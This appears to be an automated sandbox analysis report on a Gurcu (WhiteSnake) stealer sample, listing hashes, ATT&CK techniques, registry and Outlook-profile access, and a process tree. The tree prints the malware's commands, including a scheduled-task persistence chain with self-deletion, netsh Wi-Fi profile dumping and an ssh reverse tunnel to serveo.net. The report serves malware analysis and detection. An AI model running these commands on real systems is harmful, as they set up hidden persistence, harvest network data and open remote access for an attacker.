gurcu | 8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

Analysis

max time kernel
165s
max time network
184s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
28-09-2023 06:39

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General

Target

tmp.exe
Size

426KB
MD5

ef43d260ba94eea5dad184fcb6e1abcf
SHA1

2cad3eaa11d5842b430ca28c9d185bc82d7661d1
SHA256

8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458
SHA512

de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a
SSDEEP

6144:3Gd/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccHa+u9bamBftR0RgW:cRatpvnzZjDv7oj19yTaAmBftR0CW

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 4 IoCs

resource	yara_rule
behavioral2/memory/5112-0-0x00000127F2490000-0x00000127F24FC000-memory.dmp	family_gurcu_v3
behavioral2/files/0x0008000000023086-8.dat	family_gurcu_v3
behavioral2/files/0x0008000000023086-9.dat	family_gurcu_v3
behavioral2/files/0x0008000000023086-17.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	tmp.exe

Executes dropped EXE 2 IoCs

pid	Process
4604	tmp.exe
3324	tmp.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com
144	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4616	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4740	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4604	tmp.exe
4604	tmp.exe
3324	tmp.exe
3324	tmp.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5112	tmp.exe
Token: SeDebugPrivilege	4604	tmp.exe
Token: SeDebugPrivilege	3324	tmp.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 5112 wrote to memory of 4772	5112	tmp.exe	86
PID 5112 wrote to memory of 4772	5112	tmp.exe	86
PID 4772 wrote to memory of 4884	4772	cmd.exe	88
PID 4772 wrote to memory of 4884	4772	cmd.exe	88
PID 4772 wrote to memory of 4740	4772	cmd.exe	90
PID 4772 wrote to memory of 4740	4772	cmd.exe	90
PID 4772 wrote to memory of 4616	4772	cmd.exe	92
PID 4772 wrote to memory of 4616	4772	cmd.exe	92
PID 4772 wrote to memory of 4604	4772	cmd.exe	93
PID 4772 wrote to memory of 4604	4772	cmd.exe	93
PID 4604 wrote to memory of 2640	4604	tmp.exe	94
PID 4604 wrote to memory of 2640	4604	tmp.exe	94
PID 2640 wrote to memory of 3928	2640	cmd.exe	96
PID 2640 wrote to memory of 3928	2640	cmd.exe	96
PID 2640 wrote to memory of 3668	2640	cmd.exe	97
PID 2640 wrote to memory of 3668	2640	cmd.exe	97
PID 2640 wrote to memory of 452	2640	cmd.exe	98
PID 2640 wrote to memory of 452	2640	cmd.exe	98
PID 4604 wrote to memory of 1188	4604	tmp.exe	99
PID 4604 wrote to memory of 1188	4604	tmp.exe	99
PID 1188 wrote to memory of 704	1188	cmd.exe	101
PID 1188 wrote to memory of 704	1188	cmd.exe	101
PID 1188 wrote to memory of 1268	1188	cmd.exe	102
PID 1188 wrote to memory of 1268	1188	cmd.exe	102
PID 1188 wrote to memory of 3972	1188	cmd.exe	103
PID 1188 wrote to memory of 3972	1188	cmd.exe	103
PID 4604 wrote to memory of 1628	4604	tmp.exe	106
PID 4604 wrote to memory of 1628	4604	tmp.exe	106
PID 3324 wrote to memory of 3724	3324	tmp.exe	121
PID 3324 wrote to memory of 3724	3324	tmp.exe	121
PID 3724 wrote to memory of 3892	3724	cmd.exe	125
PID 3724 wrote to memory of 3892	3724	cmd.exe	125
PID 3724 wrote to memory of 4440	3724	cmd.exe	124
PID 3724 wrote to memory of 4440	3724	cmd.exe	124
PID 3724 wrote to memory of 4812	3724	cmd.exe	123
PID 3724 wrote to memory of 4812	3724	cmd.exe	123
PID 3324 wrote to memory of 4492	3324	tmp.exe	126
PID 3324 wrote to memory of 4492	3324	tmp.exe	126
PID 4492 wrote to memory of 492	4492	cmd.exe	128
PID 4492 wrote to memory of 492	4492	cmd.exe	128
PID 4492 wrote to memory of 2656	4492	cmd.exe	129
PID 4492 wrote to memory of 2656	4492	cmd.exe	129
PID 4492 wrote to memory of 4404	4492	cmd.exe	130
PID 4492 wrote to memory of 4404	4492	cmd.exe	130
PID 3324 wrote to memory of 2976	3324	tmp.exe	131
PID 3324 wrote to memory of 2976	3324	tmp.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmp.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4884
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4740
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4616
- - C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3928
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:3668
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:452
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:704
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:1268
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:3972
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3263 serveo.net
      4⤵
      PID:1628

C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3324
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:4812
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:4440
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:492
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:2656
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:4404
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3263 serveo.net
  2⤵
  PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
407B

MD5
b89137b6bacc6612c5f2acfc5516e555

SHA1
e95ff41da385ee31c09501b1dcb90f8d3e89b391

SHA256
57fb35c680cb2530393ab3e08cfda5405457a860fe3db8454ff0e5fbd664a1f3

SHA512
97c7a535f643c45fa351a6ca9ed57d390805e0523a95574eb72fc2f78d25d116492e758ac7b579ca724aca9bdd711e9aa81dc66c45da43e1d2bb3280fcc13bdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmp.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\j615vue6hx\port.dat

Filesize
4B

MD5
f8037f94e53f17a2cc301033ca86d278

SHA1
c477daaf6618c98efb953d559c9efa6c015f58a6

SHA256
5b23e77bcbfd48044a8bd56f7689fc325f309690072fe25a5dfe11af0062a130

SHA512
633d2e8f4a275ad7aec9282c5ca4e2122d4396fb1868f21147a2864da90661ca3cad33b421cdc6acba20584c401540416fbb3a7cfd52d07d399af191bdc24941

Download Submit
memory/3324-18-0x00007FFCE0A30000-0x00007FFCE14F1000-memory.dmp

Filesize
10.8MB

Download
memory/3324-20-0x00000218AA8B0000-0x00000218AA8C0000-memory.dmp

Filesize
64KB

Download
memory/3324-22-0x00007FFCE0A30000-0x00007FFCE14F1000-memory.dmp

Filesize
10.8MB

Download
memory/3324-23-0x00000218AA8B0000-0x00000218AA8C0000-memory.dmp

Filesize
64KB

Download
memory/4604-11-0x00007FFCE0A30000-0x00007FFCE14F1000-memory.dmp

Filesize
10.8MB

Download
memory/4604-12-0x000001FFE9A60000-0x000001FFE9A70000-memory.dmp

Filesize
64KB

Download
memory/4604-15-0x00007FFCE0A30000-0x00007FFCE14F1000-memory.dmp

Filesize
10.8MB

Download
memory/4604-16-0x000001FFE9A60000-0x000001FFE9A70000-memory.dmp

Filesize
64KB

Download
memory/5112-6-0x00007FFCE0E30000-0x00007FFCE18F1000-memory.dmp

Filesize
10.8MB

Download
memory/5112-0-0x00000127F2490000-0x00000127F24FC000-memory.dmp

Filesize
432KB

Download
memory/5112-2-0x00000127F4B10000-0x00000127F4B20000-memory.dmp

Filesize
64KB

Download
memory/5112-1-0x00007FFCE0E30000-0x00007FFCE18F1000-memory.dmp

Filesize
10.8MB

Download